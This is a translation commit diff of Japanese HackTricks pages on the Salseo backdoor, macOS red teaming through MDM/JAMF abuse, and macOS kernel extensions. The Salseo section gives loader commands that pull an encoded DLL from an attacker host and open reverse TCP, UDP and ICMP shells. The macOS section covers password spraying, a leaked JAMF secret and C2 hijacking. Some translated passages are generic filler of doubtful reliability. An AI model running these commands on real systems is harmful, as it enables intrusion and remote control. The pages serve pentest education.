Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE
BIN
.gitbook/assets/image (1) (1) (1) (4).png
Normal file
After Width: | Height: | Size: 447 KiB |
Before Width: | Height: | Size: 447 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
BIN
.gitbook/assets/image (15).png
Normal file
After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
BIN
.gitbook/assets/image (3) (1) (1) (1) (2).png
Normal file
After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 18 KiB |
|
@ -6,7 +6,7 @@
|
|||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
@ -16,9 +16,9 @@
|
|||
|
||||
githubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。
|
||||
|
||||
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャに合わせてコンパイルしてください(Windowsがx64をサポートしている場合は、そのアーキテクチャにコンパイルします)。
|
||||
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャに合わせてコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャにコンパイルします)。
|
||||
|
||||
Visual Studio内の**左側の"Build"タブ**の**"Platform Target"**でアーキテクチャを**選択**できます。
|
||||
Visual Studio内で、**左側の"Build"タブ**の**"Platform Target"**でアーキテクチャを**選択**できます。
|
||||
|
||||
(\*\*このオプションが見つからない場合は、**"Project Tab"**を押し、次に**"\<Project Name> Properties"**を押します)
|
||||
|
||||
|
@ -30,7 +30,7 @@ Visual Studio内の**左側の"Build"タブ**の**"Platform Target"**でアー
|
|||
|
||||
## バックドアの準備
|
||||
|
||||
まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます:
|
||||
まず、**EvilSalsa.dll**をエンコードする必要があります。これには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルすることができます:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -39,54 +39,26 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
```
|
||||
### Windows
|
||||
|
||||
Windowsは、最も一般的なオペレーティングシステムの1つであり、多くのバージョンが存在します。Windowsには、バックドアを作成するためのさまざまな方法があります。
|
||||
Windows(ウィンドウズ)は、マイクロソフトが開発したオペレーティングシステムです。Windowsには、バックドアを作成してシステムに不正アクセスするためのさまざまなテクニックがあります。以下にいくつかの一般的なテクニックを紹介します。
|
||||
|
||||
#### リモートデスクトップ
|
||||
#### リモートデスクトップ(RDP)バックドア
|
||||
|
||||
リモートデスクトップ(RDP)は、Windowsマシンにリモートでアクセスするための機能です。攻撃者は、有効な資格情報を使用してRDPに接続し、ターゲットマシンにアクセスすることができます。
|
||||
リモートデスクトップ(RDP)は、Windowsマシンにリモートでアクセスするためのプロトコルです。ハッカーは、RDPバックドアを作成して、標的のシステムに不正アクセスすることができます。RDPバックドアを作成するためには、リモートデスクトップサービスを悪用する方法や、既存のRDPバックドアツールを使用する方法があります。
|
||||
|
||||
#### バックドアアプリケーション
|
||||
#### サービスバックドア
|
||||
|
||||
バックドアアプリケーションは、ターゲットマシンにインストールされたソフトウェアの一部として動作します。これにより、攻撃者はターゲットマシンにアクセスし、機密情報を盗むことができます。
|
||||
Windowsでは、バックグラウンドで実行されるサービスがあります。ハッカーは、これらのサービスにバックドアを仕込むことで、システムに不正アクセスすることができます。サービスバックドアを作成するためには、既存のサービスを悪用する方法や、新しいサービスを作成する方法があります。
|
||||
|
||||
#### サービスの改ざん
|
||||
#### ユーザーアカウントバックドア
|
||||
|
||||
攻撃者は、Windowsサービスを改ざんすることでバックドアを作成することができます。これにより、攻撃者はターゲットマシンにアクセスし、システムの制御を取ることができます。
|
||||
Windowsでは、ユーザーアカウントを使用してシステムにログインします。ハッカーは、ユーザーアカウントにバックドアを仕込むことで、システムに不正アクセスすることができます。ユーザーアカウントバックドアを作成するためには、既存のユーザーアカウントを悪用する方法や、新しいユーザーアカウントを作成する方法があります。
|
||||
|
||||
#### レジストリの改ざん
|
||||
|
||||
レジストリは、Windowsオペレーティングシステムの設定情報を格納するデータベースです。攻撃者は、レジストリを改ざんすることでバックドアを作成し、ターゲットマシンにアクセスすることができます。
|
||||
|
||||
#### ファイルの改ざん
|
||||
|
||||
攻撃者は、Windowsシステムファイルを改ざんすることでバックドアを作成することができます。これにより、攻撃者はターゲットマシンにアクセスし、システムを制御することができます。
|
||||
|
||||
#### プロセスの改ざん
|
||||
|
||||
攻撃者は、Windowsプロセスを改ざんすることでバックドアを作成することができます。これにより、攻撃者はターゲットマシンにアクセスし、システムを制御することができます。
|
||||
|
||||
#### ネットワークトラフィックの傍受
|
||||
|
||||
攻撃者は、ネットワークトラフィックを傍受することでバックドアを作成することができます。これにより、攻撃者はターゲットマシンにアクセスし、機密情報を盗むことができます。
|
||||
|
||||
#### プリインストールバックドア
|
||||
|
||||
プリインストールバックドアは、Windowsマシンに最初から組み込まれているバックドアです。これにより、攻撃者はターゲットマシンにアクセスし、システムを制御することができます。
|
||||
|
||||
#### ゼロデイエクスプロイト
|
||||
|
||||
ゼロデイエクスプロイトは、まだ修正されていないセキュリティの脆弱性を利用する攻撃手法です。攻撃者は、ゼロデイエクスプロイトを使用してWindowsマシンにバックドアを作成し、システムにアクセスすることができます。
|
||||
|
||||
#### パスワードのクラック
|
||||
|
||||
攻撃者は、パスワードのクラックを使用してWindowsマシンにアクセスすることができます。これにより、攻撃者はターゲットマシンにバックドアを作成し、システムを制御することができます。
|
||||
|
||||
以上が、Windowsでバックドアを作成するための一般的な方法です。これらの方法を理解し、対策を講じることが重要です。
|
||||
これらは、Windowsで使用される一般的なバックドア作成テクニックの一部です。ハッカーはこれらのテクニックを悪用してシステムに侵入することができるため、セキュリティ対策を強化する必要があります。
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Ok、Salseoのすべてを実行するために必要なものが揃いました:**エンコードされたEvilDalsa.dll**と**SalseoLoaderのバイナリ**。
|
||||
よし、これでSalseoのすべてを実行するために必要なものが揃いました: **エンコードされたEvilDalsa.dll**と**SalseoLoaderのバイナリ**です。
|
||||
|
||||
**SalseoLoader.exeバイナリをマシンにアップロードしてください。どのAVにも検出されないはずです...**
|
||||
|
||||
|
@ -98,9 +70,9 @@ Ok、Salseoのすべてを実行するために必要なものが揃いました
|
|||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **UDPリバースシェルの取得(SMBを介してエンコードされたdllをダウンロード)**
|
||||
### **UDPリバースシェルの取得(SMBを介してエンコードされたdllをダウンロードする)**
|
||||
|
||||
リバースシェルのリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバー(impacket-smbserver)を起動することを忘れないでください。
|
||||
リバースシェルのリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバー(impacket-smbserver)を起動することを忘れないようにしてください。
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
|
@ -115,13 +87,13 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### クライアントの実行:
|
||||
#### クライアントを実行する:
|
||||
|
||||
```bash
|
||||
./client
|
||||
```
|
||||
|
||||
クライアントを実行します。
|
||||
The client will connect to the server and wait for commands.
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
@ -135,7 +107,7 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
|||
|
||||
### メイン関数の前に\[DllExport]を追加します。
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
|
||||
|
||||
### このプロジェクトにDllExportをインストールします。
|
||||
|
||||
|
@ -143,7 +115,7 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
|||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExportパッケージを検索します(ブラウズタブを使用)し、インストールを押します(ポップアップを受け入れます)**
|
||||
#### **DllExportパッケージを検索(ブラウズタブを使用)し、インストールボタンを押します(ポップアップを受け入れます)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -177,21 +149,21 @@ Visual Studioを**終了**します。
|
|||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームターゲット = x64)
|
||||
**x64** **プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームターゲット = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
ソリューションをビルドするには:ビルド --> ソリューションのビルド(出力コンソールに新しいDLLのパスが表示されます)
|
||||
ソリューションを**ビルド**するには:ビルド --> ソリューションのビルド(出力コンソールに新しいDLLのパスが表示されます)
|
||||
|
||||
### 生成されたDLLをテストします。
|
||||
|
||||
テストしたい場所にDLLをコピーして貼り付けます。
|
||||
|
||||
実行するコマンド:
|
||||
実行します:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
もしエラーが表示されなければ、おそらく機能するDLLを持っています!
|
||||
エラーが表示されない場合、おそらく機能するDLLを持っています!
|
||||
|
||||
## DLLを使用してシェルを取得する
|
||||
|
||||
|
@ -206,7 +178,9 @@ $env:lport="1337"
|
|||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
CMD(コマンドプロンプト)は、Windowsオペレーティングシステムで使用されるコマンドラインインターフェースです。CMDを使用すると、コマンドを入力してシステムの様々な操作を実行することができます。CMDは、システムの設定変更、ファイルの操作、ネットワークの設定など、さまざまなタスクを実行するために使用されます。CMDは、ハッカーにとっても便利なツールであり、システムの脆弱性を悪用するために使用されることもあります。ハッカーは、CMDを使用してバックドアを作成し、システムに不正アクセスすることができます。CMDは、ハッキングの技術の一部として広く使用されています。
|
||||
### CMD
|
||||
|
||||
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It provides a way to interact with the system through text-based commands. CMD can be used to execute various commands, navigate through directories, run scripts, and perform administrative tasks. It is a powerful tool for both legitimate users and hackers, as it allows for direct control and manipulation of the system. Hackers often use CMD to execute malicious commands, create backdoors, and gain unauthorized access to a target system. It is important for system administrators and security professionals to be familiar with CMD and its capabilities in order to detect and prevent unauthorized activities.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -219,10 +193,10 @@ rundll32.exe SalseoLoader.dll,main
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝したい**ですか?または、**PEASSの最新バージョンにアクセスしたい**ですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,20 +12,20 @@
|
|||
|
||||
</details>
|
||||
|
||||
## MDMの悪用
|
||||
## MDMの乱用
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
管理プラットフォームへのアクセスのために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
管理プラットフォームにアクセスするために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
|
||||
MacOS環境でのレッドチーミングには、MDMの動作原理についての理解が非常に重要です:
|
||||
MacOS環境でのレッドチーミングには、MDMの動作原理についての理解が非常に重要です。
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MDMをC2として悪用する
|
||||
### MDMをC2として乱用する
|
||||
|
||||
MDMは、プロファイルのインストール、クエリ、削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更などの権限を持っています。
|
||||
|
||||
|
@ -37,13 +37,13 @@ MDMは、プロファイルのインストール、クエリ、削除、アプ
|
|||
|
||||
**MythicエージェントOrthrus**は、この技術を使用しています。
|
||||
|
||||
### JAMF PROの悪用
|
||||
### JAMF PROの乱用
|
||||
|
||||
JAMFは、**カスタムスクリプト**(システム管理者によって開発されたスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、**MDM**(デバイスの設定、デバイスの証明書...)を実行できます。
|
||||
|
||||
#### JAMFの自己登録
|
||||
|
||||
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を要求**する場合があります。
|
||||
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を入力するように求められる**場合があります。
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。
|
||||
|
||||
|
@ -53,7 +53,7 @@ JAMFは、**カスタムスクリプト**(システム管理者によって開
|
|||
|
||||
#### JAMFデバイス認証
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見当時は**誰でも共有**されていました。秘密は**`jk23ucnq91jfu9aj`**でした。\
|
||||
さらに、jamfは**LaunchDaemon**として**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**永続化**されます。
|
||||
|
@ -78,7 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
したがって、攻撃者は、インストール時にこのファイルを上書きし、URLをTyphonエージェントのMythic C2リスナーに設定する悪意のあるパッケージ(`pkg`)をドロップすることができます。これにより、JAMFをC2として悪用することができるようになります。
|
||||
したがって、攻撃者は、インストール時にこのファイルを上書きする悪意のあるパッケージ(`pkg`)をドロップすることができます。これにより、TyphonエージェントからのMythic C2リスナーへのURLが設定され、JAMFをC2として悪用することができるようになります。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -102,9 +102,9 @@ sudo jamf policy -id 0
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
また、Jamfを介して実行したい**カスタムスクリプト**を管理者が配置し、実行して削除するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトには**資格情報**が含まれている可能性があります。
|
||||
また、Jamfを介して実行したい**カスタムスクリプト**を管理者が配置し、実行後に削除するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトには**資格情報**が含まれている可能性があります。
|
||||
|
||||
ただし、これらのスクリプトには**パラメータ**として資格情報が渡される場合があるため、`ps aux | grep -i jamf`を監視する必要があります(rootでなくても可能です)。
|
||||
ただし、これらのスクリプトには**パラメータ**として資格情報が渡される場合があるため、`ps aux | grep -i jamf`を監視する必要があります(rootでなくても可)。
|
||||
|
||||
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルの追加と新しいプロセス引数のリッスンを行うことができます。
|
||||
|
||||
|
@ -154,8 +154,8 @@ MacOSのユーザーには3つのタイプがあります:
|
|||
* **ネットワークユーザー** - 一時的なActive Directoryユーザーで、認証するためにDCサーバーへの接続が必要です。
|
||||
* **モバイルユーザー** - ローカルのバックアップを持つActive Directoryユーザーで、資格情報とファイルが保存されます。
|
||||
|
||||
ユーザーとグループに関するローカル情報は、_ /var/db/dslocal/nodes/Default _フォルダに保存されます。\
|
||||
たとえば、ユーザー名が _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されます。
|
||||
ユーザーとグループに関するローカル情報は、_ /var/db/dslocal/nodes/Default _フォルダに保存されています。\
|
||||
たとえば、ユーザー名が _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
|
||||
|
||||
MacHoundはBloodhoundデータベースにHasSessionとAdminToのエッジに加えて、**3つの新しいエッジ**を追加します:
|
||||
|
||||
|
@ -187,7 +187,7 @@ dsconfigad -show
|
|||
|
||||
## キーチェーンへのアクセス
|
||||
|
||||
キーチェーンには、プロンプトを生成せずにアクセスできる場合に、赤チームの演習を進めるのに役立つ可能性のある機密情報が含まれています。
|
||||
キーチェーンには、プロンプトを生成せずにアクセスすると、赤チームの演習を進めるのに役立つ可能性のある機密情報が含まれています。
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -199,7 +199,7 @@ MacOS Red Teamingは、通常のWindows Red Teamingとは異なり、**MacOSは
|
|||
|
||||
![](<../../.gitbook/assets/image (563).png>)
|
||||
|
||||
## その他の赤チームのテクニック
|
||||
## その他のRed Teamテクニック
|
||||
|
||||
### Safari
|
||||
|
||||
|
@ -220,8 +220,8 @@ Safariでファイルをダウンロードすると、それが「安全な」
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
|
|
|
@ -1,48 +1,54 @@
|
|||
# macOSカーネル拡張機能
|
||||
# macOSカーネル拡張
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの企業を宣伝したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックしてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**PEASSとHackTricksの公式スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* [**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信して、ハッキングのヒントを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
カーネル拡張機能(Kexts)は、macOSのカーネルスペースに直接ロードされる**`.kext`拡張子**を使用する**バンドル**であり、コアオペレーティングシステムに追加の機能を提供します。
|
||||
カーネル拡張(Kexts)は、macOSのカーネルスペースに**直接ロードされる**拡張子**`.kext`**の**パッケージ**であり、主要なオペレーティングシステムに追加の機能を提供します。
|
||||
|
||||
### 必要条件
|
||||
### 要件
|
||||
|
||||
明らかに、これは非常に強力なものであるため、カーネル拡張機能をロードするのは複雑です。カーネル拡張機能がロードされるための要件は次のとおりです。
|
||||
明らかに、カーネル拡張をロードするのは非常に強力な機能です。カーネル拡張をロードするためには、次の要件を満たす必要があります。
|
||||
|
||||
* **リカバリモード**に入ると、Kextsは**ロードを許可される必要があります**:
|
||||
* **リカバリーモード**に入ると、カーネル拡張のロードが**許可される**必要があります。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Kextは**カーネルコード署名証明書**で**署名されている必要があります**。これは**Apple**によってのみ付与されることができます。Appleは、これが必要な**会社**と**理由**を詳細に**審査**します。
|
||||
* Kextはまた、マルウェアをチェックするためにAppleによって**検証**される必要があります。
|
||||
* その後、**ルートユーザ**がKextをロードでき、バンドル内のファイルはルートに所属する必要があります。
|
||||
* ロードプロセス中、バンドルはルートレス保護された場所でステージングされる必要があります:`/Library/StagedExtensions`(エンタイトルメント`com.apple.rootless.storage.KernelExtensionManagement`が必要です)
|
||||
* 最後に、ロードしようとすると、[**ユーザに確認が求められます**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html)。承認された場合、コンピュータを**再起動**してロードする必要があります。
|
||||
* カーネル拡張は、**カーネルコード署名証明書**で**署名されている必要があります**。この証明書は**Apple**によってのみ発行されます。Appleは、**企業**と**必要性**を詳細に検討します。
|
||||
* カーネル拡張はまた、**ノタリゼーション**を受ける必要があります。Appleは、マルウェアを検出するためにそれを検証できます。
|
||||
* その後、**ルートユーザー**がカーネル拡張をロードでき、パッケージ内のファイルはルートに所属する必要があります。
|
||||
* ロードプロセス中、パッケージはルートなしの保護された場所に準備される必要があります:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement`権限が必要)
|
||||
* 最後に、ロードを試みると、[**ユーザーに確認の要求が表示されます**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html)。承認されると、コンピュータを**再起動**してロードする必要があります。
|
||||
|
||||
### ロードプロセス
|
||||
|
||||
Catalinaでは、次のようになります:興味深いことに、**検証**プロセスは**ユーザランド**で行われます。ただし、**`com.apple.private.security.kext-management`**のエンタイトルメントを持つアプリケーションのみがカーネルに**拡張機能のロードを要求**できます:kextcache、kextload、kextutil、kextd、syspolicyd
|
||||
